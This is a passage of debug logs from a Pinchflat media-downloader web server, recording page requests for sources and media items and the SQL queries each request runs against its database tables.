AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 04:53:44.983 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 04:53:44.984 [debug] QUERY OK source="media_items" db=0.8ms idle=8.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [35] 04:53:44.985 [info] GET /sources/35/ 04:53:44.986 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "35"} Pipelines: [:browser] 04:53:44.988 [debug] QUERY OK source="sources" db=1.8ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 04:53:44.988 [debug] QUERY OK source="media_items" db=3.5ms queue=0.1ms idle=7.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 04:53:44.989 [debug] QUERY OK source="media_profiles" db=0.5ms idle=9.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:53:44.990 [debug] QUERY OK source="tasks" db=0.4ms queue=0.1ms idle=6.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [35, "executing", "available", "scheduled", "retryable"] 04:53:44.991 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=6.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7277] 04:53:44.992 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.993 [debug] QUERY OK source="settings" db=0.3ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.994 [info] Sent 200 in 35ms 04:53:44.995 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.000 [debug] QUERY OK source="sources" db=0.4ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 04:53:45.002 [debug] QUERY OK source="media_items" db=0.7ms idle=10.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [35] 04:53:45.004 [debug] QUERY OK source="media_items" db=1.4ms queue=0.2ms idle=10.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 04:53:45.006 [debug] QUERY OK source="sources" db=0.4ms idle=12.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 04:53:45.007 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=11.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [35] 04:53:45.008 [debug] QUERY OK source="media_items" db=0.5ms idle=6.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 04:53:45.011 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 04:53:45.013 [debug] QUERY OK source="media_items" db=0.7ms idle=7.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [35] 04:53:45.015 [debug] QUERY OK source="media_items" db=1.5ms idle=7.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 04:53:45.020 [info] Sent 200 in 34ms 04:53:45.113 [info] GET /sources/35/ 04:53:45.113 [info] GET /sources/35/edit 04:53:45.113 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "35"} Pipelines: [:browser] 04:53:45.113 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "35"} Pipelines: [:browser] 04:53:45.116 [debug] QUERY OK source="sources" db=1.5ms idle=107.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 04:53:45.116 [debug] QUERY OK source="sources" db=1.6ms idle=106.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 04:53:45.118 [debug] QUERY OK source="media_profiles" db=1.7ms idle=103.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:53:45.118 [debug] QUERY OK source="media_profiles" db=1.8ms idle=104.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 04:53:45.120 [debug] QUERY OK source="settings" db=1.3ms queue=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.120 [debug] QUERY OK source="tasks" db=1.8ms idle=103.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [35, "executing", "available", "scheduled", "retryable"] 04:53:45.121 [debug] QUERY OK source="settings" db=0.9ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.123 [debug] QUERY OK source="oban_jobs" db=1.6ms queue=0.2ms idle=2.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7277] 04:53:45.124 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.124 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.125 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.126 [debug] QUERY OK source="settings" db=0.3ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.131 [debug] QUERY OK source="sources" db=0.4ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 04:53:45.132 [debug] QUERY OK source="media_items" db=0.8ms idle=7.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [35] 04:53:45.135 [info] Sent 200 in 21ms 04:53:45.135 [debug] QUERY OK source="media_items" db=1.4ms idle=9.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 04:53:45.137 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=11.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 04:53:45.137 [debug] QUERY OK source="media_items" db=0.3ms idle=11.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [35] 04:53:45.138 [debug] QUERY OK source="media_items" db=0.6ms idle=7.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 04:53:45.142 [debug] QUERY OK source="sources" db=0.3ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 04:53:45.144 [debug] QUERY OK source="media_items" db=0.8ms idle=7.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [35] 04:53:45.146 [debug] QUERY OK source="media_items" db=1.7ms idle=7.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 04:53:45.151 [info] Sent 200 in 38ms 04:53:45.196 [info] GET /sources/30/media/141479/edit 04:53:45.197 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141479", "source_id" => "30"} Pipelines: [:browser] 04:53:45.198 [debug] QUERY OK source="media_items" db=0.4ms idle=59.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", 